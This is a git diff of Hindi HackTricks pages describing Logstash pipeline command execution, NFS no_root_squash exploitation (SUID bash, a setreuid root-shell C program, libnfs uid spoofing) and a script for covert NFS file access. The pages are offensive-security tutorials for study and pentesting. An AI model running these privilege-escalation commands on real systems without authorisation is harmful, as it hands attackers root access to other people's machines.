* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* खोजें [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें**.
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

File diff suppressed because it is too large Load diff

View file

@ -1,25 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** PRs के माध्यम से **HackTricks** और **HackTricks Cloud** github repos में सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Logstash
Logstash का उपयोग **लॉग इकट्ठा, परिवर्तन और भेजने** के लिए किया जाता है जिसे **पाइपलाइन** नामक एक प्रणाली के माध्यम से किया जाता है। ये पाइपलाइन **इनपुट**, **फ़िल्टर**, और **आउटपुट** स्थानों से बने होते हैं। एक दिलचस्प पहलू उत्पन्न होता है जब Logstash एक कंप्रोमाइज़्ड मशीन पर काम करता है।
Logstash का उपयोग **लॉग इकट्ठा करने, रूांतरित कर और भेजने** के लिए किया जाता है, जिसे **पाइपलाइनों** के रूप में जाना जाता है। ये पाइपलाइन **इनपुट**, **फिल्टर**, और **आउटपुट** चरणों से बनी होती हैं। एक दिलचस्प पहलू तब उत्पन्न होता है जब Logstash एक समझौता किए गए मशीन पर कार्य करता है।
### पाइपलाइन कॉन्फ़िगरेशन
### Pipeline Configuration
पाइपलाइन्स को फ़ाइल **/etc/logstash/pipelines.yml** में कॉन्फ़िगर किया जाता है, जो पाइपलाइन कॉन्फ़िगरेशन के स्थानों की सूची देता है:
पाइपलाइनों को फ़ाइल **/etc/logstash/pipelines.yml** में कॉन्फ़िगर किया जाता है, जो पाइपलाइन कॉन्फ़िगरेशन के स्थानों की सूची प्रदान करता है:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
@ -31,21 +36,21 @@ path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
यह फ़ाइल बताती है कि **.conf** फ़ाइलें कहाँ स्थित हैं, जिसमें पाइपलाइन कॉन्फ़िगरेशन होती है। **Elasticsearch output module** का उपयोग करते समय, **पाइपलाइन** में **Elasticsearch क्रेडेंशियल्स** शामिल करना सामान्य है, जो अक्सर Logstash की आवश्यकता के कारण Elasticsearch को डेटा लिखने की व्यापक अधिकारों के साथ होते हैं। कॉन्फ़िगरेशन पथ में वाइल्डकार्ड का उपयोग करने से Logstash को निर्धारित निर्देशित निर्देशिका में सभी मिलने वाली पाइपलाइन को निष्पादित करने की अनुमति होती है।
यह फ़ाइल यह प्रकट करती है कि **.conf** फ़ाइलें, जो पाइपलाइन कॉन्फ़िगरेशन को शामिल करती हैं, कहाँ स्थित हैं। जब **Elasticsearch आउटपुट मॉड्यूल** का उपयोग किया जाता है, तो **पाइपलाइनों** में अक्सर **Elasticsearch क्रेडेंशियल्स** शामिल होते हैं, जिनमें अक्सर Logstash की आवश्यकता के कारण व्यापक विशेषाधिकार होते हैं कि वह Elasticsearch में डेटा लिख सके। कॉन्फ़िगरेशन पथ में वाइल्डकार्ड Logstash को निर्दिष्ट निर्देशिका में सभी मेल खाने वाली पाइपलाइनों को निष्पादित करने की अनुमति देता है।
### लिखने योग्य पाइपलाइन के माध्यम से विशेषाधिकार
### Writable Pipelines के माध्यम से विशेषाधिकार वृद्धि
विशेषाधिकार का प्रयास करने के लिए, पहले यह खोजें कि Logstash सेवा किस उपयोगकर्ता के तहत चल रही है, आम तौर पर **logstash** उपयोगकर्ता होता है। सुनिश्चित करें कि आपमें से **किसी एक** योग्यता है:
विशेषाधिकार वृद्धि का प्रयास करने के लिए, पहले उस उपयोगकर्ता की पहचान करें जिसके तहत Logstash सेवा चल रही है, आमतौर पर **logstash** उपयोगकर्ता। सुनिश्चित करें कि आप इनमें से **एक** मानदंड को पूरा करते हैं:
- पाइपलाइन **.conf** फ़ाइल में **लेखन अधिकार** हो **या**
- **/etc/logstash/pipelines.yml** फ़ाइल एक वाइल्डकार्ड का उपयोग करती है, और आप लक्षित फ़ोल्डर में लिख सकते हैं
- एक पाइपलाइन **.conf** फ़ाइल में **लेखन पहुंच** हो **या**
- **/etc/logstash/pipelines.yml** फ़ाइल में वाइल्डकार्ड का उपयोग किया गया है, और आप लक्षित फ़ोल्डर में लिख सकते हैं
इसके अतिरिक्त, इनमें से **किसी एक** शर्त को पूरा किया जाना चाहिए:
इसके अतिरिक्त, इनमें से **एक** शर्त को पूरा किया जाना चाहिए:
- Logstash सेवा को पुनरंभ करने की क्षमता **या**
- Logstash सेवा को पुनरारंभ करने की क्षमता **या**
- **/etc/logstash/logstash.yml** फ़ाइल में **config.reload.automatic: true** सेट है
कॉन्फ़िगरेशन में वाइल्डकार्ड दिया जाने पर, इस वाइल्डकार्ड के मिलने वाली फ़ाइल बनाने से कमांड का निष्पादन संभव होता है। उदाहरण के लिए:
कॉन्फ़िगरेशन में वाइल्डकार्ड दिए जाने पर, एक फ़ाइल बनाना जो इस वाइल्डकार्ड से मेल खाती है, कमांड निष्पादन की अनुमति देता है। उदाहरण के लिए:
```bash
input {
exec {
@ -61,26 +66,6 @@ codec => rubydebug
}
}
```
यहाँ, **अंतराल** सेकंड में निष्पादन अक्षमता निर्धारित करता है। दिए गए उदाहरण में, **whoami** कमांड हर 120 सेकंड में चलता है, जिसका आउटपुट **/tmp/output.log** में निर्देशित होता है।
यहाँ, **interval** निष्पादन की आवृत्ति को सेकंड में निर्धारित करता है। दिए गए उदाहरण में, **whoami** कमांड हर 120 सेकंड में चलती है, और इसका आउटपुट **/tmp/output.log** में भेजा जाता है।
**/etc/logstash/logstash.yml** में **config.reload.automatic: true** के साथ, Logstash स्वचालित रूप से नए या संशोधित पाइपलाइन कॉन्फ़िगरेशन को पहचानेगा और लागू करेगा बिना पुनरारंभ की आवश्यकता के। यदि कोई वाइल्डकार्ड नहीं है, तो मौजूदा कॉन्फ़िगरेशन में संशोधन किए जा सकते हैं, लेकिन अवरोधों से बचने के लिए सावधानी बरतने की सलाह दी जाती है।
## संदर्भ
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर मुझे **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
**/etc/logstash/logstash.yml** में **config.reload.automatic: true** के साथ, Logstash स्वचालित रूप से नए या संशोधित पाइपलाइन कॉन्फ़िगरेशन का पता लगाएगा और उन्हें लागू करेगा बिना किसी पुनरारंभ की आवश्यकता के। यदि कोई वाइल्डकार्ड नहीं है, तो मौजूदा कॉन्फ़िगरेशन में संशोधन किया जा सकता है, लेकिन व्यवधान से बचने के लिए सावधानी बरतने की सलाह दी जाती है।

View file

@ -1,31 +1,37 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
_ **/etc/exports** _ फ़ाइल पढ़ें, यदि आपको कोई ऐसी डायरेक्टरी मिलती है जो **no\_root\_squash** के रूप में कॉन्फ़िगर की गई है, तो आप उसे **एक क्लाइंट के रूप में एक्सेस** कर सकते हैं और उस डायरेक्टरी में **लिख सकते हैं** जैसे कि आप मशीन के स्थानीय **रूट** हो।
_ **/etc/exports** _ फ़ाइल को पढ़ें, यदि आप कुछ निर्देशिका पाते हैं जो **no\_root\_squash** के रूप में कॉन्फ़िगर की गई है, तो आप **एक क्लाइंट के रूप में** इसे **एक्सेस** कर सकते हैं और उस निर्देशिका के अंदर **लिख सकते हैं** जैसे कि आप मशीन के स्थानीय **रूट** थे
**no\_root\_squash**: यह विकल्प मूल रूप से यह अधिकार देता है कि क्लाइंट पर रूट उपयोगकर्ता को NFS सर्वर पर फ़ाइलों तक पहुँचने की अधिकार हो। और इससे गंभीर सुरक्षा संबंधित परिणाम हो सकते हैं।
**no\_root\_squash**: यह विकल्प मूल रूप से क्लाइंट पर रूट उपयोगकर्ता को NFS सर्वर पर रूट के रूप में फ़ाइलों तक पहुँचने का अधिकार देता है। और इससे गंभीर सुरक्षा परिणाम हो सकते हैं।
**no\_all\_squash:** यह **no\_root\_squash** विकल्प के समान है लेकिन यह **गैर-रूट उपयोगकर्ताओं** के लिए लागू होता है। कल्पना करें, आपके पास कोई नोबडी उपयोगकर्ता के रूप में शैल उपयोगकर्ता है; /etc/exports फ़ाइल चेक की; no\_all\_squash विकल्प मौजूद है; /etc/passwd फ़ाइल चेक की; गैर-रूट उपयोगकर्ता के रूप में एम्युलेट करें; उस उपयोगकर्ता के रूप में एक suid फ़ाइल बनाएं (NFS का उपयोग करके माउंट करके)। नोबडी उपयोगकर्ता के रूप में suid को एक्सीक्यूट करें और विभिन्न उपयोगकर्ता बनें।
**no\_all\_squash:** यह **no\_root\_squash** विकल्प के समान है लेकिन **गैर-रूट उपयोगकर्ताओं** पर लागू होता है। कल्पना करें, आपके पास कोई उपयोगकर्ता के रूप में एक शेल है; /etc/exports फ़ाइल की जांच की; no\_all\_squash विकल्प मौजूद है; /etc/passwd फ़ाइल की जांच करें; एक गैर-रूट उपयोगकर्ता का अनुकरण करें; उस उपयोगकर्ता के रूप में एक suid फ़ाइल बनाएं (nfs का उपयोग करके माउंट करके)। कोई उपयोगकर्ता के रूप में suid को निष्पादित करें और विभिन्न उपयोगकर्ता बनें।
# विशेषाधिकार उन्नति
# Privilege Escalation
## रिमोट एक्सप्लॉइट
## Remote Exploit
यदि आपने इस भयंकरता को पाया है, तो आप इसे एक्सप्लॉइट कर सकते हैं:
यदि आपने इस भेद्यता को पाया है, तो आप इसका शोषण कर सकते हैं:
* **उस डायरेक्टरी को माउंट करना** एक क्लाइंट मशीन में, और **रूट के रूप में** माउंटेड फ़ोल्डर में **/bin/bash** बाइनरी कॉपी करना और इसे **SUID** अधिकार देना, और **विक्टिम** मशीन से उस बैश बाइनरी को एक्सीक्यूट करना
* **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट किए गए फ़ोल्डर के अंदर **/bin/bash** बाइनरी की **कॉपी करना** और उसे **SUID** अधिकार देना, और **शिकार** मशीन से उस बाश बाइनरी को **निष्पादित करना**
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -38,7 +44,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
* **उस निर्देशिका को माउंट करें** एक क्लाइंट मशीन में, और **रूट के रूप में कॉपी करें** माउंट किए गए फ़ोल्डर में हमारा कंपाइल किया गया पेलोड जो SUID अनुमति का दुरुपयोग करेगा, उसे **SUID** अधिकार दें, और **विक्टिम** मशीन से उस बाइनरी को चलाएं (आप यहाँ कुछ [सी SUID पेलोड](payloads-to-execute.md#c) पा सकते हैं)।
* **उस निर्देशिका को** एक क्लाइंट मशीन में माउंट करना, और **रूट के रूप में** माउंट की गई फ़ोल्डर के अंदर हमारे कंपाइल किए गए पेलोड को कॉपी करना जो SUID अनुमति का दुरुपयोग करेगा, इसे **SUID** अधिकार देना, और **शिकार** मशीन से उस बाइनरी को **निष्पादित करना** (आप यहाँ कुछ [C SUID पेलोड्स](payloads-to-execute.md#c) पा सकते हैं)।
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -52,40 +58,40 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## स्थानीय उत्कृष्टि
## Local Exploit
{% hint style="info" %}
ध्यान दें कि यदि आप अपनी मशीन से पीड़ित मशीन तक एक **टनल बना सकते हैं तो आप इस उत्कृष्टि उन्नयन का उपयोग कर सकते हैं जिसमें आवश्यक पोर्ट्स को टनल किया जाता है**।\
निम्नलिखित ट्रिक उस स्थिति के लिए है जब फ़ाइल `/etc/exports` **एक आईपी इंडिकेट करती है**। इस मामले में आप **किसी भी स्थिति में रिमोट उत्कृष्टि का उपयोग नहीं कर सकेंगे** और आपको **इस ट्रिक का दुरुपयोग करने की आवश्यकता होगी**।\
उत्कृष्टि काम करने के लिए एक और आवश्यक श्त यह है कि **`/etc/export` के अंदर निर्यात** **`असुरक्षित` ध्वज का उपयोग कर रहा हो**।\
\--_मुझे यकीन नहीं है कि यदि `/etc/export` एक आईपी पता इंडिकेट कर रहा है तो यह ट्रिक काम करेगी_--
ध्यान दें कि यदि आप अपनी मशीन से पीड़ित मशीन तक एक **टनल बना सकते हैं, तो आप इस विशेषाधिकार वृद्धि का शोषण करने के लिए दूरस्थ संस्करण का उपयोग कर सकते हैं, आवश्यक पोर्ट्स को टनल करते हुए**।\
यह ट्रिक तब है जब फ़ाइल `/etc/exports` **एक IP को इंगित करती है**। इस मामले में आप **किसी भी स्थिति में** **दूरस्थ शोषण** का उपयोग नहीं कर पाएंगे और आपको **इस ट्रिक का दुरुपयोग करना होगा**।\
शोषण के काम करने के लिए एक और आवश्यक आवश्यक यह है कि **`/etc/export` के अंदर निर्यात** **`insecure` ध्वज का उपयोग कर रहा हो**।\
\--_मुझे यकीन नहीं है कि यदि `/etc/export` एक IP पते को इंगित कर रहा है तो यह ट्रिक काम करेगी_--
{% endhint %}
## मौलिक जानकारी
## Basic Information
स्थिति में एक माउंट किए गए NFS साझा का उत्कृष्टि करने का संवाद शामिल है, NFSv3 विनिर्देश में एक दोष का उपयोग करना जिससे क्लाइंट अपना यूआईडी/जीआईडी निर्दिष्ट कर सकता है, जिससे अनधिकृत पहुंच संभव हो सकती है। उत्कृष्टि में [libnfs](https://github.com/sahlberg/libnfs) का उपयोग होता है, जो NFS RPC कॉल्स का झूठा बनाने की अनुमति देता है।
परिदृश्य में एक स्थानीय मशीन पर एक माउंटेड NFS शेयर का शोषण करना शामिल है, NFSv3 विनिर्देशन में एक दोष का लाभ उठाते हुए जो क्लाइंट को अपने uid/gid को निर्दिष्ट करने की अनुमति देता है, संभावित रूप से अनधिकृत पहुंच सक्षम करता है। शोषण में [libnfs](https://github.com/sahlberg/libnfs) का उपयोग शामिल है, जो NFS RPC कॉल के निर्माण की अनुमति देने वाली एक लाइब्रेरी है।
### पुस्तकालय का संकलन
### Compiling the Library
पुस्तकालय के संकलन चरणों में कर्नेल संस्करण के आधार पर समायोजन की आवश्यकता हो सकती है। इस विशेष मामले में, fallocate सिसकॉल्स को टिप्पणी किया गया था। संकलन प्रक्रिया निम्नलिखित आदेशों को शामिल करती है:
लाइब्रेरी संकलन चरणों में कर्नेल संस्करण के आधार पर समायोजन की आवश्यकता हो सकती है। इस विशेष मामले में, fallocate syscalls को टिप्पणी की गई थी। संकलन प्रक्रिया में निम्नलिखित कमांड शामिल हैं:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### शोध का अभ्यास
### शोषण करना
इस अभ्यास में एक सरल सी प्रोग्राम (`pwn.c`) बनाया जाता है जो विशेषाधिकारों को रूट तक उन्नत करता है और फिर एक शैल को क्रियान्वित करता है। प्रोग्राम को कंपाइल किया जाता है, और परिणामी बाइनरी (`a.out`) को suid रूट के साथ शेयर पर रखा जाता है, `ld_nfs.so` का उपयोग करके RPC कॉल में uid को फर्जी किया जाता है:
शोषण में एक सरल C प्रोग्राम (`pwn.c`) बनाना शामिल है जो रूट तक विशेषाधिकार बढ़ाता है और फिर एक शेल निष्पादित करता है। प्रोग्राम को संकलित किया जाता है, और परिणामी बाइनरी (`a.out`) को suid रूट के साथ शेयर पर रखा जाता है, RPC कॉल में uid को फेक करने के लिए `ld_nfs.so` का उपयोग किया जाता है:
1. **अभ्यास को कंपाइल करें:**
1. **शोषण कोड संकलित करें:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **अभ्यास को शेयर पर रखें और uid को फर्जी करके इसकी अनुमतियों को संशोधित करें:**
2. **शोषण को शेयर पर रखें और uid को फेक करके इसकी अनुमतियों को संशोधित करें:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
@ -93,14 +99,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **रूट विशेषाधिकार प्राप्त करने के लिए अभ्यास को क्रियान्वित करें:**
3. **रूट विशेषाधिकार प्राप्त करने के लिए शोषण निष्पादित करें:**
```bash
/mnt/share/a.out
#root
```
## बोनस: NFShell के लिए छिपीली फ़ाइल एक्सेस
एक बार रूट एक्सेस प्राप्त किया जाता है, NFS शेयर के साथ अंतरक्रिया करने के लिए (स्वामित्व को बदलने के बिना छापे छोड़ने के लिए), एक पायथन स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट उस फ़ाइल के uid को समान करने के लिए uid को समायोजित करता है, जिसका उपयोग अनुमत
## बोनस: NFShell के लिए छिपा हुआ फ़ाइल एक्सेस
एक बार रूट एक्सेस प्राप्त होने के बाद, स्वामित्व को बदले बिना NFS शेयर के साथ इंटरैक्ट करने के लिए (निशान छोड़ने से बचने के लिए), एक Python स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट uid को उस फ़ाइल के uid से मेल खाने के लिए समायोजित करती है जिसे एक्सेस किया जा रहा है, जिससे शेयर पर फ़ाइलों के साथ इंटरैक्शन की अनुमति मिलती है बिना अनुमति की समस्याओं के:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -119,25 +125,32 @@ uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
इस तरह से चलाएं:
जैसे चलाएँ:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
## संदर्भ
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# पेलोड्स को निष्पादित करें
# Payloads to execute
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Bash
```bash
